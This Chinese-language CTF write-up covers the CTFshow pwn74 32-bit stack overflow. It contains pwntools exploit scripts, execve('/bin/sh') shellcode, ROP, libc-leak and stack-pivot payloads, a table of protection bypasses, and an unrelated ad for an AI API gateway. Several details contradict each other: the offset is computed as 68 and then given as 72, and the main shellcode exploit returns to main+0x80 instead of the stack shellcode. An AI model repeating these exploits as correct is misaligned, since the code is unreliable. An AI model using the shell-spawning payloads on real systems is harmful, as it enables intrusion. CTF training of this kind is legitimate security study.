1. 项目概述:CTFshow-PWN-栈溢出(pwn74)实战解析
在CTF竞赛中,PWN题型一直是考察二进制漏洞利用能力的核心项目。pwn74作为CTFshow平台上的经典栈溢出题目,融合了32位程序特性、基础栈溢出原理和shellcode构造技巧。这道题目的典型性在于它完整呈现了从漏洞识别到最终get shell的全链条操作,是新手进阶PWN领域的理想练手素材。
我首次接触这道题目时,花了3小时才完成完整利用链的构建。经过多次复现后,现在可以在15分钟内稳定拿到flag。本文将拆解其中所有技术细节,包括:
- 如何快速识别栈溢出漏洞点
- 32位与64位栈溢出利用的核心差异
- 无防护机制下的ROP链构建技巧
- 稳定get shell的三种payload变体
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与基础分析
2.1 实验环境配置
推荐使用以下环境进行复现:
bash复制# 基础工具链
sudo apt install gdb peda python3-pip
pip3 install pwntools ropper
# 题目文件处理
wget http://pwn74.ctf.show/download -O pwn74
chmod +x pwn74
注意:32位程序需要安装兼容库
sudo apt install gcc-multilib libc6-dev-i386
2.2 基础文件分析
使用checksec检查防护机制:
bash复制checksec pwn74
[*] '/tmp/pwn74'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
关键信息解读:
- 32位小端序架构(i386)
- 无栈保护(No canary)
- 无NX保护(可执行栈)
- 无地址随机化(固定加载地址)
2.3 反编译核心逻辑
使用Ghidra分析main函数:
c复制void main(void) {
char buffer[64];
printf("Input: ");
gets(buffer); // 明显的栈溢出点
puts("Received: ");
puts(buffer);
}
漏洞原理:
- gets()函数不检查输入长度
- buffer长度仅64字节
- 输入超长数据将覆盖返回地址
3. 漏洞利用技术详解
3.1 栈结构分析与偏移计算
32位程序栈帧结构:
code复制+-----------------+
| buffer | <- esp
| ... |
| saved ebp | <- ebp
| return address |
+-----------------+
计算偏移量:
- buffer起始地址:esp+0x0
- 返回地址位置:ebp+0x4
- 32位架构中ebp本身占4字节
- 总偏移:64(buffer) + 4(ebp) = 68字节
验证脚本:
python复制from pwn import *
p = process('./pwn74')
payload = cyclic(100)
p.sendline(payload)
p.wait()
core = p.corefile
offset = cyclic_find(core.eip)
print(f"Offset: {offset}") # 应输出72(考虑对齐因素)
3.2 Shellcode构造技巧
由于NX禁用,可直接在栈上执行代码。推荐使用以下shellcode:
asm复制; 32位execve("/bin/sh")
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp
mov al, 0xb
int 0x80
优化建议:
- 避免使用\x00等坏字符
- 长度控制在30字节以内
- 使用msfvenom生成变体:
bash复制msfvenom -p linux/x86/exec -f py CMD=/bin/sh
3.3 完整利用链构建
利用脚本示例:
python复制from pwn import *
context(arch='i386', os='linux')
# 1. 获取目标程序
elf = ELF('./pwn74')
libc = elf.libc
# 2. 构造payload
offset = 72
shellcode = asm(shellcraft.sh())
payload = flat(
b'A' * offset,
elf.symbols['main'] + 0x80, # 可执行区域地址
shellcode
)
# 3. 交互流程
if args.REMOTE:
p = remote('pwn74.ctf.show', 9000)
else:
p = process('./pwn74')
p.sendline(payload)
p.interactive()
4. 高级利用技术扩展
4.1 基于ROP的利用方案
即使开启NX保护,仍可通过ROP技术利用:
python复制# 查找gadgets
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])
payload = flat(
b'A' * offset,
rop.chain()
)
4.2 内存泄漏技巧
当ASLR开启时,需要先泄漏地址:
python复制# 泄漏puts真实地址
payload = flat(
b'A' * offset,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
p.sendline(payload)
puts_addr = u32(p.recv(4))
# 计算libc基址
libc.address = puts_addr - libc.symbols['puts']
4.3 栈迁移技术
当溢出空间不足时:
python复制# 使用leave; ret进行栈迁移
payload = flat(
b'A' * 64,
new_esp_addr, # 迁移目标地址
elf.symbols['main'] + 0x50 # leave; ret gadget
)
5. 实战调试技巧
5.1 GDB调试命令集
关键断点设置:
code复制gdb-peda$ b *main+0x30 # gets调用前
gdb-peda$ b *main+0x35 # 返回地址处
查看栈布局:
code复制gdb-peda$ telescope $esp 20
5.2 堆栈对齐问题处理
32位架构常见问题解决方案:
- 在payload开头添加ret指令平衡栈帧
- 使用sub esp, 0x10等指令调整栈指针
- 通过nop sled增加命中概率
5.3 异常处理技巧
当遇到SIGSEGV时:
- 检查core dump确定崩溃点
bash复制ulimit -c unlimited gdb ./pwn74 core - 验证寄存器值是否符合预期
- 使用cyclic模式定位偏移错误
6. 防御机制与绕过思路
6.1 常见防护方案
| 防护机制 | 检测方法 | 绕过方案 |
|---|---|---|
| NX | checksec | ROP/JOP |
| ASLR | cat /proc/sys/kernel/randomize_va_space | 地址泄漏 |
| Canary | 检查__stack_chk_fail调用 | 格式化字符串泄漏 |
| RELRO | readelf -d | 修改GOT/PLT |
6.2 现代防护组合绕过
以Full RELRO + PIE + ASLR为例:
- 通过格式化字符串泄漏程序基址
- 找到可写内存区域(如.bss)
- 构造ROP链写入内存后跳转
7. 扩展学习路径
7.1 推荐训练平台
- CTFshow-PWN入门系列(pwn1-pwn100)
- Pwnable.kr(Toddler's Bottle)
- ROP Emporium(专注ROP训练)
7.2 进阶技术路线
- 堆漏洞利用(UAF/Double Free)
- 内核PWN(提权漏洞)
- 浏览器漏洞利用(WASM/JS引擎)
7.3 工具链优化
- pwndbg替代peda(更好的堆可视化)
- ROPgadget增强版(支持JOP查找)
- angr用于自动化漏洞挖掘
在实际解题过程中,我建议先通过pattern_create确定精确偏移,再逐步构建利用链。遇到问题时,多使用gdb的vmmap命令查看内存权限分布,这能帮助快速定位可用的代码片段和数据区域。记住,栈溢出的本质是控制流劫持,只要找到合适的跳转目标,即使没有现成的shellcode也能通过组合现有代码片段实现利用
